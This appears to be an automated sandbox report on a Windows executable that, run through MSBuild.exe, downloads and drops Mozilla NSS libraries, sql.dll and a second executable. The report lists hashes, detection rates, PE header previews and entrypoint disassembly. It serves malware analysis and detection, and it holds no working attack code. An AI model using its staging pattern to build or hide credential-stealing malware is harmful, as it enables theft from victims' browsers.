Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T...............Dz......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER991A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8328
Entropy (8bit):	3.697047607406703
Encrypted:	false
SSDEEP:	192:R6l7wVeJZx6w66YEIkSU/uqVYgmf1g1NprA89bkNsfaRsm:R6lXJf6l6YErSU/uqVYgmf1g1tkGfQ
MD5:	2F9AA21A37C31FCA51BBA2B6A295AC12
SHA1:	67AA7D62EF6E62A2FA37E6D18D87498FABB453EC
SHA-256:	3F15A621FD476507050A0F925B7EDC6A48CAE33D29DD8A27CA0AB236610D4A0F
SHA-512:	8311F3E29327E0A590984BB42D8EDA883D0F6E5EF1011F463CA86FDCFD06A8093179C37460DB9B90EC331E86013A35700F8E780AAC9F5B388918C737BFBE2EF7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.4.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER994A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.498264667232249
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9TwWpW8VYzYm8M4JgjyjsFk+q8HmTFmaUdUmUDd:uIjfdI7xJ7V3JgjipQm5maUdUmUDd
MD5:	8FC74982890D03015ADA4EA89EC542E4
SHA1:	978586278C4CB72E1BF5FF715416BF14F0371F67
SHA-256:	B995D9CD99993127E87EB853A4A18E771ABA8E2454107C4CD94B9FBDE381D16B
SHA-512:	A1B99617950A78DE63554E83E4F36226383A7899194E81D35D8ECDC3CB681BFA6B05497AC5CC52B0D7702DCF261624C51824F2B39DBF814A6E236B15EBCD4E00
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533222" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: gIXLkTvFeC.exe, Detection: malicious, Browse Filename: c3KH2gLNrM.exe, Detection: malicious, Browse Filename: 0FZVLEdDuc.exe, Detection: malicious, Browse Filename: NHvurkKE21.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: p7SnjaA8NN.exe, Detection: malicious, Browse Filename: MPil9jkBPG.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\a43486128347[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.723484124390298
Encrypted:	false
SSDEEP:	12288:mxyHj9OPDUsb5J4VMrJhypkjvsoZMfG6jiHiprOTafN4S:mg9OJ4o4iLI+QiHipCTau
MD5:	64FE8DFA186F801847E6C710F30B2884
SHA1:	7E6887011B600858D5B0D2D59564B3E44C023965
SHA-256:	5A7B7A57EBA095CF41EF86FAA906C39C7F26B7B09E8B2268D1E882AD8AFB92A6
SHA-512:	B69EE7BC2927EA1C69249E1494DCE2D986D1EA730CD57C039555A1C6155177706FDB0AF71FE99D5AA828327B11CB05F456C566A7B83E0D887F87FB69550A090E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@................................. .....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ISO-8859 text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:tWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWo:c
MD5:	29E5E555D94064C5FDD6355B4DDE2364
SHA1:	CD8F8E0354CE50FA7C869BF46CC7EE40248FF0D1
SHA-256:	424ABE7A3BDE450CB4E224E9CFEC28373018D9ECE588B02A6D86EF42738B33CC
SHA-512:	50341559795A4B6AFFCFD1207B3A97C17DBA6A0BD2242F4FA35947B81CDF90930A1D4B47CA0F0B68E8ECD9DA3F80D0E60947E6C54E38B850238B7A76A466695D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.429086506357449
Encrypted:	false
SSDEEP:	6144:nSvfpi6ceLP/9skLmb0OT6WSPHaJG8nAgeMZMMhA2fX4WABlEnNA0uhiTw:SvloT6W+EZMM6DFyy03w
MD5:	9012C09875F791A62DD4F6E054ADB8B0
SHA1:	3433B0390F3F0A2A636F5E1A6994E6B39285B78D
SHA-256:	BD143DC4E33A29E3F33C5ED112C7FB755555937B323289EA9CE4A527C4ECEAF6
SHA-512:	37D89FCC6277089B19555313633513F8C1FAE765DBF8C4604507828F5888A3D62333D2206068C057CC2F7BF2551FFFB40EF5C6DF2EB64B04D6C05DAF940111C3
Malicious:	false
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmf,..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.745920348441713
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	VLSiVR4Qxs.exe
File size:	584'704 bytes
MD5:	d1eed00237bf1b0c9024f383ac8fd19c
SHA1:	33ca0b2914883c174c877525b085370783eeebce
SHA256:	74d97d001058dc33a510dc4da4001a69ebe56b63facb1720f8959714953d9746
SHA512:	1485deabf584de46b1b9c8aaa624a679e904c9a38d64b870768e778efc1db339ce1b0309f3f107cd68376cac3aca3c970467eb31a085dbe3109593aceff337b3
SSDEEP:	12288:oXU1ZnYljs7V6b7jDW0TqSjUeOcYcUEcc/pMMEwXzfnkfWaN3Hgj4S:o4nYOsjDWxcY7cVJXzfkOGP
TLSH:	36C40111B6C1C072D57319310AE09A785A3EBCB00B558EDF6BE44F7E4F30691DB25AAB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6704023E [Mon Oct 7 15:46:06 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007F87912CD020h
jmp 00007F87912CC58Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F87912CC72Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F87912CC71Ch
mov eax, dword ptr [edx+08h]
